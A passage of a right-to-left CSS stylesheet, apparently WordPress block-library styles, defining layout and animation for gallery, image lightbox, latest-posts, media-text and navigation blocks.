  .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{
    margin-left:1em;
    width:calc(33.33333% - .66667em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{
    margin-left:1em;
    width:calc(25% - .75em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{
    margin-left:1em;
    width:calc(20% - .8em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{
    margin-left:1em;
    width:calc(16.66667% - .83333em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{
    margin-left:1em;
    width:calc(14.28571% - .85714em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{
    margin-left:1em;
    width:calc(12.5% - .875em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){
    margin-left:0;
  }
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{
  margin-left:0;
}
.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{
  max-width:420px;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{
  justify-content:center;
}

.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{
  align-self:flex-start;
}

figure.wp-block-gallery.has-nested-images{
  align-items:normal;
}

.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){
  margin:0;
  width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2);
}
.wp-block-gallery.has-nested-images figure.wp-block-image{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  max-width:100%;
  position:relative;
}
.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{
  flex-direction:column;
  flex-grow:1;
  margin:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image img{
  display:block;
  height:auto;
  max-width:100% !important;
  width:auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:13px;
  margin-bottom:0;
  max-height:60%;
  overflow:auto;
  padding:0 8px 8px;
  position:absolute;
  right:0;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  text-align:center;
  width:100%;
  will-change:transform;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{
  background-color:#fffc;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{
  scrollbar-color:#fffc #0000;
}
@media (hover:none){
  .wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
    scrollbar-color:#fffc #0000;
  }
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{
  display:inline;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{
  color:inherit;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{
  flex:1 1 auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{
  background:none;
  color:inherit;
  flex:initial;
  margin:0;
  padding:10px 10px 9px;
  position:relative;
}
.wp-block-gallery.has-nested-images figcaption{
  flex-basis:100%;
  flex-grow:1;
  text-align:center;
}
.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){
  margin-bottom:auto;
  margin-top:0;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){
  align-self:inherit;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){
  display:flex;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{
  flex:1 0 0%;
  height:100%;
  object-fit:cover;
  width:100%;
}
.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){
  width:100%;
}
@media (min-width:600px){
  .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){
    width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){
    width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75);
  }
  .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){
    width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8);
  }
  .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){
    width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333);
  }
  .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){
    width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714);
  }
  .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){
    width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){
    width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){
    width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{
    width:100%;
  }
}
.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-gallery.has-nested-images.aligncenter{
  justify-content:center;
}

.wp-block-group{
  box-sizing:border-box;
}

h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{
  padding:1.25em 2.375em;
}
h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){
  rotate:180deg;
}

.wp-block-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
}
.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{
  border-radius:inherit;
}
.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-image.aligncenter{
  text-align:center;
}
.wp-block-image.alignfull img,.wp-block-image.alignwide img{
  height:auto;
  width:100%;
}
.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{
  display:table;
}
.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{
  caption-side:bottom;
  display:table-caption;
}
.wp-block-image .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-image .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-image .aligncenter{
  margin-left:auto;
  margin-right:auto;
}
.wp-block-image figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{
  border-radius:9999px;
}
@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){
  .wp-block-image.is-style-circle-mask img{
    border-radius:0;
    -webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
            mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
    mask-mode:alpha;
    -webkit-mask-position:center;
            mask-position:center;
    -webkit-mask-repeat:no-repeat;
            mask-repeat:no-repeat;
    -webkit-mask-size:contain;
            mask-size:contain;
  }
}
.wp-block-image :where(.has-border-color){
  border-style:solid;
}
.wp-block-image :where([style*=border-top-color]){
  border-top-style:solid;
}
.wp-block-image :where([style*=border-right-color]){
  border-left-style:solid;
}
.wp-block-image :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}
.wp-block-image :where([style*=border-left-color]){
  border-right-style:solid;
}
.wp-block-image :where([style*=border-width]){
  border-style:solid;
}
.wp-block-image :where([style*=border-top-width]){
  border-top-style:solid;
}
.wp-block-image :where([style*=border-right-width]){
  border-left-style:solid;
}
.wp-block-image :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}
.wp-block-image :where([style*=border-left-width]){
  border-right-style:solid;
}

.wp-block-image figure{
  margin:0;
}

.wp-lightbox-container{
  display:flex;
  flex-direction:column;
  position:relative;
}
.wp-lightbox-container img{
  cursor:zoom-in;
}
.wp-lightbox-container img:hover+button{
  opacity:1;
}
.wp-lightbox-container button{
  align-items:center;
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background-color:#5a5a5a40;
  border:none;
  border-radius:4px;
  cursor:zoom-in;
  display:flex;
  height:20px;
  justify-content:center;
  left:16px;
  opacity:0;
  padding:0;
  position:absolute;
  text-align:center;
  top:16px;
  transition:opacity .2s ease;
  width:20px;
  z-index:100;
}
.wp-lightbox-container button:focus-visible{
  outline:3px auto #5a5a5a40;
  outline:3px auto -webkit-focus-ring-color;
  outline-offset:3px;
}
.wp-lightbox-container button:hover{
  cursor:pointer;
  opacity:1;
}
.wp-lightbox-container button:focus{
  opacity:1;
}
.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){
  background-color:#5a5a5a40;
  border:none;
}

.wp-lightbox-overlay{
  box-sizing:border-box;
  cursor:zoom-out;
  height:100vh;
  overflow:hidden;
  position:fixed;
  right:0;
  top:0;
  visibility:hidden;
  width:100%;
  z-index:100000;
}
.wp-lightbox-overlay .close-button{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  left:calc(env(safe-area-inset-left) + 16px);
  min-height:40px;
  min-width:40px;
  padding:0;
  position:absolute;
  top:calc(env(safe-area-inset-top) + 16px);
  z-index:5000000;
}
.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){
  background:none;
  border:none;
}
.wp-lightbox-overlay .lightbox-image-container{
  height:var(--wp--lightbox-container-height);
  overflow:hidden;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  transform-origin:top right;
  width:var(--wp--lightbox-container-width);
  z-index:9999999999;
}
.wp-lightbox-overlay .wp-block-image{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:100%;
  justify-content:center;
  margin:0;
  position:relative;
  transform-origin:100% 0;
  width:100%;
  z-index:3000000;
}
.wp-lightbox-overlay .wp-block-image img{
  height:var(--wp--lightbox-image-height);
  min-height:var(--wp--lightbox-image-height);
  min-width:var(--wp--lightbox-image-width);
  width:var(--wp--lightbox-image-width);
}
.wp-lightbox-overlay .wp-block-image figcaption{
  display:none;
}
.wp-lightbox-overlay button{
  background:none;
  border:none;
}
.wp-lightbox-overlay .scrim{
  background-color:#fff;
  height:100%;
  opacity:.9;
  position:absolute;
  width:100%;
  z-index:2000000;
}
.wp-lightbox-overlay.active{
  animation:turn-on-visibility .25s both;
  visibility:visible;
}
.wp-lightbox-overlay.active img{
  animation:turn-on-visibility .35s both;
}
.wp-lightbox-overlay.show-closing-animation:not(.active){
  animation:turn-off-visibility .35s both;
}
.wp-lightbox-overlay.show-closing-animation:not(.active) img{
  animation:turn-off-visibility .25s both;
}
@media (prefers-reduced-motion:no-preference){
  .wp-lightbox-overlay.zoom.active{
    animation:none;
    opacity:1;
    visibility:visible;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container{
    animation:lightbox-zoom-in .4s;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.active .scrim{
    animation:turn-on-visibility .4s forwards;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{
    animation:lightbox-zoom-out .4s;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{
    animation:turn-off-visibility .4s forwards;
  }
}

@keyframes turn-on-visibility{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@keyframes turn-off-visibility{
  0%{
    opacity:1;
    visibility:visible;
  }
  99%{
    opacity:0;
    visibility:visible;
  }
  to{
    opacity:0;
    visibility:hidden;
  }
}
@keyframes lightbox-zoom-in{
  0%{
    transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
  }
  to{
    transform:translate(50%, -50%) scale(1);
  }
}
@keyframes lightbox-zoom-out{
  0%{
    transform:translate(50%, -50%) scale(1);
    visibility:visible;
  }
  99%{
    visibility:visible;
  }
  to{
    transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
    visibility:hidden;
  }
}
ol.wp-block-latest-comments{
  box-sizing:border-box;
  margin-right:0;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){
  line-height:1.1;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){
  line-height:1.8;
}

.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){
  line-height:1.5;
}

.wp-block-latest-comments .wp-block-latest-comments{
  padding-right:0;
}

.wp-block-latest-comments__comment{
  list-style:none;
  margin-bottom:1em;
}
.has-avatars .wp-block-latest-comments__comment{
  list-style:none;
  min-height:2.25em;
}
.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{
  margin-right:3.25em;
}

.wp-block-latest-comments__comment-excerpt p{
  font-size:.875em;
  margin:.36em 0 1.4em;
}

.wp-block-latest-comments__comment-date{
  display:block;
  font-size:.75em;
}

.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  width:2.5em;
}

.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{
  font-size:inherit;
}

.wp-block-latest-posts{
  box-sizing:border-box;
}
.wp-block-latest-posts.alignleft{
  margin-right:2em;
}
.wp-block-latest-posts.alignright{
  margin-left:2em;
}
.wp-block-latest-posts.wp-block-latest-posts__list{
  list-style:none;
  padding-right:0;
}
.wp-block-latest-posts.wp-block-latest-posts__list li{
  clear:both;
}
.wp-block-latest-posts.is-grid{
  display:flex;
  flex-wrap:wrap;
  padding:0;
}
.wp-block-latest-posts.is-grid li{
  margin:0 0 1.25em 1.25em;
  width:100%;
}
@media (min-width:600px){
  .wp-block-latest-posts.columns-2 li{
    width:calc(50% - .625em);
  }
  .wp-block-latest-posts.columns-2 li:nth-child(2n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-3 li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-latest-posts.columns-3 li:nth-child(3n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-4 li{
    width:calc(25% - .9375em);
  }
  .wp-block-latest-posts.columns-4 li:nth-child(4n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-5 li{
    width:calc(20% - 1em);
  }
  .wp-block-latest-posts.columns-5 li:nth-child(5n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-6 li{
    width:calc(16.66667% - 1.04167em);
  }
  .wp-block-latest-posts.columns-6 li:nth-child(6n){
    margin-left:0;
  }
}

.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{
  display:block;
  font-size:.8125em;
}

.wp-block-latest-posts__post-excerpt{
  margin-bottom:1em;
  margin-top:.5em;
}

.wp-block-latest-posts__featured-image a{
  display:inline-block;
}
.wp-block-latest-posts__featured-image img{
  height:auto;
  max-width:100%;
  width:auto;
}
.wp-block-latest-posts__featured-image.alignleft{
  float:left;
  margin-right:1em;
}
.wp-block-latest-posts__featured-image.alignright{
  float:right;
  margin-left:1em;
}
.wp-block-latest-posts__featured-image.aligncenter{
  margin-bottom:1em;
  text-align:center;
}

ol,ul{
  box-sizing:border-box;
}
ol.has-background,ul.has-background{
  padding:1.25em 2.375em;
}

.wp-block-media-text{
  box-sizing:border-box;
  direction:ltr;
  display:grid;
  grid-template-columns:50% 1fr;
  grid-template-rows:auto;
}
.wp-block-media-text.has-media-on-the-right{
  grid-template-columns:1fr 50%;
}

.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{
  align-self:start;
}

.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{
  align-self:center;
}

.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{
  align-self:end;
}

.wp-block-media-text .wp-block-media-text__media{
  grid-column:1;
  grid-row:1;
  margin:0;
}

.wp-block-media-text .wp-block-media-text__content{
  direction:rtl;
  grid-column:2;
  grid-row:1;
  padding:0 8%;
  word-break:break-word;
}

.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{
  grid-column:2;
  grid-row:1;
}

.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{
  grid-column:1;
  grid-row:1;
}

.wp-block-media-text__media img,.wp-block-media-text__media video{
  height:auto;
  max-width:unset;
  vertical-align:middle;
  width:100%;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media{
  background-size:cover;
  height:100%;
  min-height:250px;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media img{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
}
@media (max-width:600px){
  .wp-block-media-text.is-stacked-on-mobile{
    grid-template-columns:100% !important;
  }
  .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{
    grid-column:1;
    grid-row:1;
  }
  .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{
    grid-column:1;
    grid-row:2;
  }
}
.wp-block-navigation{
  position:relative;
  --navigation-layout-justification-setting:flex-start;
  --navigation-layout-direction:row;
  --navigation-layout-wrap:wrap;
  --navigation-layout-justify:flex-start;
  --navigation-layout-align:center;
}
.wp-block-navigation ul{
  margin-bottom:0;
  margin-right:0;
  margin-top:0;
  padding-right:0;
}
.wp-block-navigation ul,.wp-block-navigation ul li{
  list-style:none;
  padding:0;
}
.wp-block-navigation .wp-block-navigation-item{
  align-items:center;
  display:flex;
  position:relative;
}
.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{
  display:none;
}
.wp-block-navigation .wp-block-navigation-item__content{
  display:block;
}
.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{
  color:inherit;
}
.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{
  text-decoration:underline;
}
.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{
  text-decoration:line-through;
}
.wp-block-navigation:where(:not([class*=has-text-decoration])) a{
  text-decoration:none;
}
.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{
  text-decoration:none;
}
.wp-block-navigation .wp-block-navigation__submenu-icon{
  align-self:center;
  background-color:inherit;
  border:none;
  color:currentColor;
  display:inline-block;
  font-size:inherit;
  height:.6em;
  line-height:0;
  margin-right:.25em;
  padding:0;
  width:.6em;
}
.wp-block-navigation .wp-block-navigation__submenu-icon svg{
  display:inline-block;
  stroke:currentColor;
  height:inherit;
  margin-top:.075em;
  width:inherit;
}
.wp-block-navigation.is-vertical{
  --navigation-layout-direction:column;
  --navigation-layout-justify:initial;
  --navigation-layout-align:flex-start;
}
.wp-block-navigation.no-wrap{
  --navigation-layout-wrap:nowrap;
}
.wp-block-navigation.items-justified-center{
  --navigation-layout-justification-setting:center;
  --navigation-layout-justify:center;
}
.wp-block-navigation.items-justified-center.is-vertical{
  --navigation-layout-align:center;
}
.wp-block-navigation.items-justified-right{
  --navigation-layout-justification-setting:flex-end;
  --navigation-layout-justify:flex-end;
}
.wp-block-navigation.items-justified-right.is-vertical{
  --navigation-layout-align:flex-end;
}
.wp-block-navigation.items-justified-space-between{
  --navigation-layout-justification-setting:space-between;
  --navigation-layout-justify:space-between;
}

.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  align-items:normal;
  background-color:inherit;
  color:inherit;
  display:flex;
  flex-direction:column;
  height:0;
  opacity:0;
  overflow:hidden;
  position:absolute;
  right:-1px;
  top:100%;
  transition:opacity .1s linear;
  visibility:hidden;
  width:0;
  z-index:2;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{
  display:flex;
  flex-grow:1;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{
  margin-left:0;
  margin-right:auto;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{
  margin:0;
}
@media (min-width:782px){
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    right:100%;
    top:-1px;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    left:100%;
    position:absolute;
    width:.5em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{
    margin-left:.25em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{
    transform:rotate(90deg);
  }
}
